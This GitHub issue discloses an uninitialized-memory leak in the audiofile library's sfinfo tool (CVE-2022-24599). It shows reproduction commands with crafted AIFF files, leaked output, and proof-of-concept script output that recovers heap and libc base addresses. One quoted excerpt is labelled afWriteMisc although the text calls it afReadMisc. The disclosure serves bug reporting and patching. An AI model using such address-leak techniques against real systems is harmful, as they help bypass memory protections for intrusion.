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Memory-leak bug in printfileinfo, in printinfo.c #60

Open Zzero00 opened this issue on Feb 2 · 1 comment

Zzero00 commented on Feb 2 • edited ▼

There exists one Memory-leak bug in printfileinfo, in printinfo.c, which allows an attacker to leak the address of heap or libc via a crafted file.

To reproduce with the attached poc file:

[poc.zip](#)

Heap address leak:

```
./sfinfo ./heappleak_poc.aiff
```

Result(See the output of Copyright):

```
$ ./sfinfo ./heappleak_poc.aiff
File Name      ./heappleak_poc.aiff
File Format     Audio Interchange File Format (aiff)
Data Format     unknown
Audio Data     0 bytes begins at offset 0 (0 hex)
               0 channel, -1 frames
Sampling Rate  0.00 Hz
Duration       -inf seconds
Copyright      C◆◆U
```

Libc address leak:

```
./sfinfo ./libleak_poc.aiff
```

Result(See the output of Copyright):

```
$ ./sfinfo ./libleak_poc.aiff
File Name      ./libleak_poc.aiff
File Format     Audio Interchange File Format (aiff)
Data Format     unknown
Audio Data     0 bytes begins at offset 0 (0 hex)
               0 channel, -1 frames
Sampling Rate  0.00 Hz
```

```
Duration      -inf seconds
Copyright     Copyright 1991, (d??i
```

This vulnerability can be triggered anywhere the `printfinfo` function is called, for example, `sfconvert`.

The `poc.py` will help you to calculate the address, which is test on Ubuntu 20.04, python2.

Usage of `poc.py`:

```
$ python2 poc.py heap
[+] Starting local process './sfinfo': pid 17868
[*] Process './sfinfo' stopped with exit code 0 (pid 17868)
[+] heap_leak:0x55b2425d4243
[+] heap_base:0x55b2425c2000
$ python2 poc.py lib
[+] Starting local process './sfinfo': pid 17920
[*] Process './sfinfo' stopped with exit code 0 (pid 17920)
[+] lib_leak:0x7f3d0cbf5428
[+] libaudiofile_base:0x7f3d0cbc9000
[+] libc_base:0x7f3d0c9bf000
```

The audiofile project is built with:

```
$ ./autogen.sh --disable-docs --prefix=OUTPUT_DIR
$ make
$ make install
```

Description of the Vulnerability:

First, the `printfinfo` function calls the `copyrightstring` function to get data:

```
//printfinfo function, printinfo.c
bool printfinfo (const char *filename){
...
char *copyright = copyrightstring(file);
    if (copyright)
    {
        printf("Copyright      %s\n", copyright);
        free(copyright);
    }
...
}
```

Second, the `copyrightstring` function obtains copyright information from the file and returns a string pointer:

```
//copyrightstring function, printinfo.c
static char *copyrightstring (AFfilehandle file){
```

```

...
int datasize = afGetMiscSize(file, miscids[i]);
    char *data = (char *) malloc(datasize);
    afReadMisc(file, miscids[i], data, datasize);
    copyright = data;
    break;
...
}

```

However, it forgets to use `memset` or zero bytes to prevent the Memory-Leak Vulnerability. Most importantly, the attacker can control the length of the `memcpy` when copying the copyright string, in the `afReadMisc` function, in `Miscellaneous.cpp`:

```

//afWriteMisc function, Miscellaneous.cpp
int afWriteMisc (AFilehandle file, int miscellaneousid, const void *buf, int bytes)
{
...
    int localsize = std::min(bytes,
        miscellaneous->size - miscellaneous->position);
    memcpy((char *) miscellaneous->buffer + miscellaneous->position,
        buf, localsize);
    miscellaneous->position += localsize;
    return localsize;
...
}

```

carnil commented on Feb 22

It appears that a CVE has been assigned to this issue: [CVE-2022-24599](#)

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

2 participants

